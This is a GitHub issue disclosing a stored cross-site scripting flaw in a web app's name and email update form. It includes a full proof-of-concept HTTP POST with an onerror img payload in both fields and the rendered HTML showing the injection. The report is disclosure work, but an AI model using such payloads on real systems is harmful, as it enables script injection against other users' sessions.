New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

In the modified name XSS attacks with the location of the mailbox #5

Open
langyayue opened this Issue Nov 22, 2018 · 0 comments

Comments

Projects
None yet
1 participant
@langyayue

langyayue commented Nov 22, 2018

Place in modify the name and email insert test code will be executed after landing page

POC:
`

- POST /update_personal_infomation HTTP/1.1
- Host: 127.0.0.1
- User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
- Accept: */*
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate
- Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- X-Requested-With: XMLHttpRequest
- Referer: http://172.16.125.115/admin
- Content-Length: 80
- Cookie: PHPSESSID=ch6ursnieofju1mqn02n02ri64
- Connection: close
- 
- realname="><img src=xss onerror=alert(1)>&email="><img src=xss onerror=alert(1)>

location:

<div class="modal-body">
                   <form class="form-horizontal">
                       <div class="form-group">
                           <label for="realname" class="col-sm-2 control-label">姓名</label>
                           <div class="col-sm-10">
                               <input type="text" class="form-control" id="realname"
                                      value=""><img src=xss onerror=alert(1)>"/>
                           </div>
                       </div>
                       <div class="form-group">
                           <label for="email" class="col-sm-2 control-label">邮箱</label>
                           <div class="col-sm-10">
                               <input type="email" class="form-control" id="email"
                                      value=""><img src=xss onerror=alert(1)>"/>
                           </div>
                       </div>

`

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment